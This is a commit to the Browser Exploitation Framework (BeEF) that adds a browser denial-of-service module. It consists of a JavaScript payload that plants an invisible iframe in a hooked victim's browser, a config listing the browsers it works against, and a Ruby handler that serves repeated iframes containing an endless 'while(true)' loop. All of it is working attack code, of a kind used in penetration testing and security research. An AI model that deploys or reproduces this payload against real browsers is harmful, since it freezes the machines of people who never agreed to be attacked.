Add Resource Exhaustion DoS module

This commit is contained in:
Brendan Coles
2016-01-21 08:09:13 +00:00
parent fc12c61e5f
commit 5903f026ea
3 changed files with 52 additions and 0 deletions

View File

@@ -0,0 +1,13 @@
//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var resource_exhaustion_dos_<%= @command_id %> = beef.dom.createInvisibleIframe();
var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/dos';
resource_exhaustion_dos_<%= @command_id %>.setAttribute('src', url);
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
resource_exhaustion_dos:
enable: true
category: "Exploits"
name: "Resource Exhaustion DoS"
description: "This module attempts to exhaust system resources rendering the browser unusable."
authors: ["bcoles"]
target:
working: ["FF", "IE", "S"]
not_working: ["C"]

View File

@@ -0,0 +1,23 @@
#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Resource_exhaustion_dos < BeEF::Core::Command
def self.options
return []
end
def pre_send
src = %q{<iframe src="javascript:while(true) window.location='';">}
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
'200',
{'Content-Type' => 'text/html'},
src * (rand(10) + 10),
'/dos',
-1)
end
def post_execute
save({'result' => @datastore['result']})
end
end